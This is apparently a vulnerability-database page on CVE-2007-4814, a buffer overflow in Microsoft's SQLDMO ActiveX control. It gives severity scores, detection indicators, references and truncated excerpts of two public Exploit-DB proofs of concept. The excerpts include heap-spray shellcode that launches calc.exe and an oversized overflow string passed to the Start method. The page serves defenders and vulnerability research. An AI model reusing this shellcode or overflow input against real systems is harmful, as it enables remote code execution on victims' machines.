CVE-2007-4814
published 2007-09-11CVE-2007-4814: Buffer overflow in the SQLServer ActiveX control in the Distributed Management Objects OLE DLL (sqldmo.dll) 2000.085.2004.00 in Microsoft SQL Server Enterprise…
PriorityP352high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
45.71%
98.7th percentile
Buffer overflow in the SQLServer ActiveX control in the Distributed Management Objects OLE DLL (sqldmo.dll) 2000.085.2004.00 in Microsoft SQL Server Enterprise Manager 8.05.2004 allows remote attackers to execute arbitrary code via a long second argument to the Start method.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | sql_server | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063
bytes↗
%u0D0D%u0D0D
- →The exploit triggers the vulnerability by passing an excessively long string as the second argument (Server) to the Start method of the SQLDMO.SQLServer ActiveX control (progid: SQLDMO.SQLServer). Monitor for ActiveX instantiation of this ProgID in browser or scripting contexts. ↗
- →Heap spray pattern using NOP sled unescape('%u9090%u9090') combined with shellcode is characteristic of this exploit. Detect large repeated 0x9090 blocks in heap memory or script content. ↗
- →The shellcode payload spawns calc.exe as a proof-of-concept; in weaponized variants, monitor for unexpected child processes spawned from browser or script host processes after SQLDMO.SQLServer ActiveX instantiation. ↗
- →The overflow is triggered via the 'Start' method of the SQLServer ActiveX control with a long Server argument. The memberName 'Start' with argCount 4 and an oversized Server string is a reliable detection signature. ↗
- →The heap spray SEH overwrite uses the 0x0D0D0D0D address pattern. Detect 0x0D0D0D0D as a return/SEH address in memory or crash dumps as an indicator of this exploit. ↗
- ·The exploit was tested specifically on Windows XP SP2 KR and Windows 2000 Pro SP4 KR with MSDE 2000 sqldmo.dll version 2000.80.760.0; exploitability on other locales or patch levels may differ. ↗
- ·The heap spray SEH address (0x0D0D0D0D) is noted as a possible change, meaning attackers may adjust this value for different target environments. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft SQL Server - Distributed Management Objects Buffer Overflow
exploitdb·2007-09-12
CVE-2007-4814 Microsoft SQL Server - Distributed Management Objects Buffer Overflow
Microsoft SQL Server - Distributed Management Objects Buffer Overflow
---
Code Execute
+ Tested Operating System: Windows XP SP2 KR, Windows 2000 Pro SP4 KR
+ Tested Software: MSDE 2000 SQLDMO.dll (version 2000.80.760.0)
+ Reference & Thanks :
code by rgod http://www.milw0rm.com/exploits/4379
code by Trirat Puttaraksa http://www.milw0rm.com/exploits/2426
+ Author: 96sysim ([email protected])
-->
// Heap Spray
// execute "calc.exe"
shellcode =
unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC08
Exploit-DB
Microsoft SQL Server - Distributed Management Objects 'sqldmo.dll' Buffer Overflow (PoC)
exploitdb·2007-09-08
CVE-2007-4814 Microsoft SQL Server - Distributed Management Objects 'sqldmo.dll' Buffer Overflow (PoC)
Microsoft SQL Server - Distributed Management Objects 'sqldmo.dll' Buffer Overflow (PoC)
---
targetFile = "C:\Programmi\Microsoft SQL Server\80\Tools\Binn\sqldmo.dll"
prototype = "Sub Start ( ByVal StartMode As Boolean , [ ByVal Server As Variant ] , [ ByVal Login As Variant ] , [ ByVal Password As Variant ] )"
memberName = "Start"
progid = "SQLDMO.SQLServer"
argCount = 4
'edx = ecx
edx ="bb"
seh ="aa"
StartMode =True
Server ="http://ZZZZ\YYYY\XXXX\WW?W\VVVV\AAAA\AAA\AAAAA\AAAA\AA@AA\tes\test\test\tes.\ttest\MMMM\LLLL\KKK\JJJJ\IIII\HH.H\GGGGG\FFFF\EEEE\DDD\CCCC\BBBB\AAA\A\\\\\\\\\:#$%AAAA\BBBB\CCCC\DD?D\EEEE\FFFF\GGG\\:#$%\HHHHH\IIII\te@st\tes\test\test\tes.aaaabbbbccccddddeeeeffffgggghhhhiiiiaaaaaaa" + seh + "CCDmmm" + edx + "nnnBBBB\AAAA\ZZZ\Z\\\\\\\\\:#$%YYYY\XXXX\WWWW\VV?V\UUUU\TTT
No writeups or analysis indexed.
http://retrogod.altervista.org/microsoft_sqldmo.htmlhttp://securityreason.com/securityalert/3112http://www.osvdb.org/38399http://www.securityfocus.com/archive/1/478822/100/0/threadedhttp://www.securityfocus.com/bid/25594https://exchange.xforce.ibmcloud.com/vulnerabilities/36509https://www.exploit-db.com/exploits/4379https://www.exploit-db.com/exploits/4398http://retrogod.altervista.org/microsoft_sqldmo.htmlhttp://securityreason.com/securityalert/3112http://www.osvdb.org/38399http://www.securityfocus.com/archive/1/478822/100/0/threadedhttp://www.securityfocus.com/bid/25594https://exchange.xforce.ibmcloud.com/vulnerabilities/36509https://www.exploit-db.com/exploits/4379https://www.exploit-db.com/exploits/4398
2007-09-11
Published